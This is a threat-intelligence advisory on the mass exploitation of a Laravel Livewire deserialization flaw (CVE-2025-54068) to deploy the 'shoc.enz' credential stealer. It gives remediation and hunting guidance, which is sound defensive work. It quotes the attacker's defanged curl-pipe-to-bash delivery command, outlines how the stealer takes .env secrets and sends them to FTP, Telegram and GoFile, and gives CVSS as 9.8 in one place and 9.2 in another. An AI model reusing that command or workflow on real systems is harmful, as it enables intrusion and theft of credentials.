CVE-2025-54068 Exploited in Large-Scale Laravel Livewire Credential Theft Campaign

CVE-2025-54068 Exploited in Large-Scale Laravel Livewire (TL-2026-1422), also tracked as Livewire Hydration RCE, is a critical-severity software vulnerability scored CVSS 9.8, first published 2026-07-16. It is linked to a Indonesia-nexus actor with medium confidence, affects Livewire (Caleb Porzio / Laravel ecosystem) livewire/livewire, references 1 CVE (CVE-2025-54068), maps to 19 MITRE ATT&CK techniques (T1005, T1036, T1041), and is covered by 9 detection rules and 20 indicators of compromise.

Key facts for TL-2026-1422

Threat ID
TL-2026-1422
Also known as
Livewire Hydration RCE, shoc.enz campaign
Severity
CRITICAL
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-07-16
Last reviewed
2026-07-16
Attribution confidence
MEDIUM
Nation-state nexus
Indonesia
Motivation
FINANCIAL
Target sectors
gambling-betting, ecommerce, health, education, logistics, financial-services, government administration
Target regions
brazil, Southeast Asia, Global
Detection rules
9
Indicators of compromise
20

Malware and tooling in CVE-2025-54068 Exploited in Large-Scale Laravel Livewire

Malware and tooling: shoc.enz credential stealer, Livepyre, PHPGGC, laravel-crypto-killer

An unauthenticated, pre-auth PHP deserialization RCE in Laravel Livewire v3 (CVE-2025-54068, CVSS 9.8) was mass-exploited to deploy a Bash-based credential stealer ("shoc.enz"), compromising 6,167 applications worldwide and harvesting production database credentials, Stripe/AWS/SMTP/JWT secrets, and 26M+ email addresses. Recovered attacker FTP infrastructure and Telegram/GoFile exfiltration channels point to a likely Indonesian-origin operator.

How CVE-2025-54068 Exploited in Large-Scale Laravel Livewire works

CVE-2025-54068 is a critical, unauthenticated remote-code-execution vulnerability affecting Laravel Livewire versions 3.0.0-beta.1 through 3.6.3. The flaw lies in Livewire's component-hydration mechanism: when a component's state is restored from a browser-submitted request, the framework's `hydratePropertyUpdate`/`hydrateForUpdate` logic (pre-patch) fails to preserve the original `$raw` synthesizer metadata across recursive hydration, allowing an attacker to redefine nested "synthesizer" objects inside the `updates` payload without triggering Livewire's checksum/APP_KEY integrity validation. Because weakly-typed component properties (such as those on Filament's login form) accept arbitrary casts, an attacker can smuggle a `isSyntheticTuple`-shaped array (`is_array($payload) && count($payload)===2 && isset($payload[1]['s'])`) that Livewire will deserialize into arbitrary PHP classes already present on the server (a PHP "POP" gadget chain built with PHPGGC, e.g. Laravel/RCE4). Public research (Synacktiv) demonstrated a two-stage exploitation path: first, abusing GuzzleHttp\Psr7\FnStream and League\Flysystem's ShardedPrefixPublicUrlGenerator to prove `__toString`/`array_map` gadget execution (phpinfo() PoC); second, chaining Laravel\SerializableClosure\Serializers\Signed (weakly-typed constructor invoking `call_user_func_array`), the Illuminate\Bus\Queueable trait's public `$chained` array, and Illuminate\Broadcasting\BroadcastEvent/PendingBroadcast to reach `dispatchNextJobInChain()`, which calls `unserialize(array_shift($this->chained))` on attacker-controlled data — yielding full unauthenticated remote command execution with no user interaction. Tooling such as laravel-crypto-killer (exploit mode) and Livepyre (version fingerprinting via JS cache-buster hash) automated exploitation with or without knowledge of the target's APP_KEY.

In the wild, Imperva Cloud WAF first detected exploitation attempts on May 24, 2026, sending PHPGGC-crafted deserialization payloads that, upon success, executed: `curl -skfsSL hxxps://xantibot[.]pw/database-sell/shoc.enz | tr -d '\r' | bash >/dev/null 2>&1 &`. The delivered payload, shoc.enz, is a 5,269-byte Bash credential-stealing script (SHA-256 548c3672fd3201dab56f714fdd5812bb024980815b3a2b6299f0126bdf16fb3e) that executes in eight stages: (1) environment setup — create a randomized /tmp staging directory; (2) process check — verify no other instance (shoc.sh) is already running to avoid duplicate exfiltration; (3) file discovery — recursively scan the filesystem for `.env` configuration files; (4) credential extraction — parse DB_HOST, DB_DATABASE, DB_USERNAME, DB_PASSWORD, and APP_KEY (and related secrets such as Stripe, AWS, SMTP, JWT, and Google OAuth keys found alongside them); (5) data collection — copy matched files under randomized filenames; (6) compression — package via zip/tar.gz; (7) exfiltration — upload the archive across three parallel channels (a hardcoded FTP server, the Telegram Bot API, and the GoFile.io cloud-storage API) for redundancy; (8) cleanup — delete the staging directory and script artifacts to reduce forensic footprint.

Wiz and Imperva's recovery of the attacker's FTP server (47.129.100.149:21) revealed 1,851+ compressed database dumps (organized into 7 date-based directories, e.g. `FULL_DUMP_[REDACTED_IP]_2026-04-29_0418.sql.gz`) and 18+ stolen email lists totaling 26+ million addresses, alongside 14,566 valid (non-default) database passwords, 5,784 production apps' DB credentials, 188 live Stripe secret keys (sk_live_ prefix), 381 AWS IAM access keys (AKIA-prefixed), 2,929 JWT signing secrets, 2,409 Google OAuth client secrets (GOCSPX- prefixed), 2,232 Filament admin panel passwords, and 7,176 SMTP credentials. Victims spanned online gambling/betting (400+ platforms, predominantly Brazilian and Southeast Asian operators), e-commerce, healthcare, education, logistics, financial services, and confirmed government (.gov) domains, running well-known open-source Laravel applications including Invoice Ninja, Akaunting, Attendize, Lychee, and TastyIgniter. Scanning and compromise activity spanned dozens of TLDs (.com, .ru, .site, .online, .br, .tr, .id, .ke, and others) over a months-long operation predating public disclosure.

Attribution indicators recovered from the malware and infrastructure point to a likely Indonesian-origin actor: Indonesian-language code comments in shoc.enz, a hardcoded Asia/Jakarta timezone reference, a Telegram handle (@ashtarotz) used for one exfiltration channel, and an email address (azrilsyahputra1337@gmail[.]com) tied to the actor that has appeared in at least three historical BreachForums breach datasets (November 2022, August 2025, March 2026). Livewire maintainers patched the vulnerability in v3.6.4 (fix commit ef04be759da41b14d2d129e670533180a44987dc), and the flaw was added to the CISA Known Exploited Vulnerabilities catalog with a March 20, 2026 add date and April 3, 2026 remediation due date, reflecting confirmed active exploitation. No workaround exists short of upgrading; defenders unable to patch immediately should restrict/monitor outbound traffic to FTP, Telegram API, and GoFile endpoints from application servers and rotate all credentials present in any exposed `.env` file.

MITRE ATT&CK techniques used in TL-2026-1422

Collection

T1005 Data from Local System; T1560.001 Archive via Utility

Defense Evasion

T1036 Masquerading; T1070.004 File Deletion

Exfiltration

T1041 Exfiltration Over C2 Channel; T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol; T1567.002 Exfiltration to Cloud Storage

Execution

T1059.004 Unix Shell

Command and Control

T1071.001 Web Protocols; T1102 Web Service; T1105 Ingress Tool Transfer

Discovery

T1082 System Information Discovery; T1083 File and Directory Discovery

Initial Access

T1190 Exploit Public-Facing Application

initial-access

T1190 Exploit Public-Facing Application

Persistence

T1505 Server Software Component

Credential Access

T1552.001 Credentials In Files

Resource Development

T1583.006 Web Services; T1587.001 Malware

Impact

T1657 Financial Theft

Affected products and versions in CVE-2025-54068 Exploited in Large-Scale Laravel Livewire

  • Livewire (Caleb Porzio / Laravel ecosystem) — livewire/livewire
    Vulnerable versions: 3.0.0-beta.1 through 3.6.3
    Fixed in: 3.6.4 and later
  • Various — Livewire-based applications with weakly-typed component properties (e.g. Filament admin panel login forms)
    Vulnerable versions: Any deployment using vulnerable Livewire v3 versions
    Fixed in: Upgrade underlying Livewire dependency

Remediation for CVE-2025-54068 Exploited in Large-Scale Laravel Livewire

Patches

  • Upgrade to livewire/livewire >= 3.6.4 (fix commit ef04be759da41b14d2d129e670533180a44987dc)

Immediate actions

  • Upgrade Laravel Livewire to v3.6.4 or later immediately (no workaround exists for pre-patch versions)
  • Rotate ALL credentials present in any .env file on affected servers: DB_PASSWORD, APP_KEY, Stripe sk_live_ keys, AWS IAM access keys, JWT secrets, Google OAuth client secrets, SMTP passwords
  • Rotate database passwords and force re-authentication for any application matching the compromised profile (Filament-based login forms, Invoice Ninja, Akaunting, Attendize, Lychee, TastyIgniter deployments)
  • Block outbound connections to xantibot[.]pw, the recovered FTP host 47.129.100.149:21, and audit outbound Telegram Bot API / GoFile.io traffic from application/web servers
  • Search web server and WAF logs for POST requests to Livewire endpoints containing crafted 'updates' payloads with nested synthesizer-shaped arrays (count===2, key 's' present)
  • Hunt for shoc.enz / shoc.sh process names, /tmp staging directories with randomized names, and outbound curl|bash one-liners referencing xantibot[.]pw

Workarounds

  • None available — immediate upgrade is the only mitigation

Longer-term hardening

  • Deploy WAF/RASP rules to block unauthenticated deserialization attempts targeting Livewire component hydration endpoints
  • Enforce strict typing on Livewire component properties, especially on authentication-adjacent components (Filament login forms)
  • Implement egress filtering / DLP for FTP, Telegram Bot API, and cloud file-sharing endpoints from production application tiers
  • Adopt secrets-management (vault) practices to remove long-lived credentials from .env files on disk
  • Establish a dependency/CVE monitoring process for Laravel ecosystem packages (Livewire, Filament) given repeated pre-auth deserialization findings

CVEs associated with CVE-2025-54068 Exploited in Large-Scale Laravel Livewire

CVE-2025-54068

Weaknesses (CWE) in CVE-2025-54068 Exploited in Large-Scale Laravel Livewire

CWE-94, CWE-502

Timeline of CVE-2025-54068 Exploited in Large-Scale Laravel Livewire

  • Livewire v3.6.4 released same-day as the advisory (05:31 UTC), patching the vulnerability via commit ef04be759da41b14d2d129e670533180a44987dc ('Fix property update hydration' by @joshhanley), introducing a new hydratePropertyUpdate function that preserves raw synthesizer metadata and prevents arbitrary synthesizer casting/class redefinition.
  • GitHub Security Advisory GHSA-29cq-5w36-x7w3 published for CVE-2025-54068, disclosing the pre-authenticated RCE affecting Livewire v3.0.0-beta.1 through 3.6.3 with CVSS 9.2.
  • Synacktiv publishes detailed public research demonstrating the full two-stage exploitation path: a GuzzleHttp\Psr7\FnStream/Flysystem gadget proving arbitrary __toString/array_map execution, then a Laravel\SerializableClosure\Serializers\Signed + Queueable + BroadcastEvent chain reaching unserialize() in dispatchNextJobInChain() for full unauthenticated RCE.
  • CVE-2025-54068 added to the CISA Known Exploited Vulnerabilities catalog, reflecting confirmed active exploitation.
  • CISA KEV catalog remediation due date for CVE-2025-54068 for federal agencies subject to Binding Operational Directive 22-01.
  • Latest timestamped database dump recovered from attacker FTP infrastructure (FULL_DUMP_[REDACTED_IP]_2026-04-29_0418.sql.gz), indicating ongoing exfiltration into late April 2026.
  • Imperva Cloud WAF first detects mass exploitation attempts against Livewire deserialization endpoints delivering the shoc.enz payload, after the campaign had reportedly been running undetected for several months.
  • Imperva Threat Research publishes its analysis of the credential-theft campaign, disclosing the 6,167 compromised applications, shoc.enz malware breakdown, and recovered FTP/Telegram/GoFile attacker infrastructure.
  • securityboulevard.com, cybersecuritynews.com, and cyberpress.org syndicate/publish follow-on writeups on the campaign scale and shoc.enz malware analysis.
  • Wiz Threat Research publishes its incident writeup on the campaign, corroborating scale and attribution indicators, which triggers this hunt.

Sources cited for CVE-2025-54068 Exploited in Large-Scale Laravel Livewire

Threats related to CVE-2025-54068 Exploited in Large-Scale Laravel Livewire

Detection coverage for TL-2026-1422

As of 2026-07-16, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1422 across Splunk SPL, Microsoft KQL and Sigma, covering 20 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats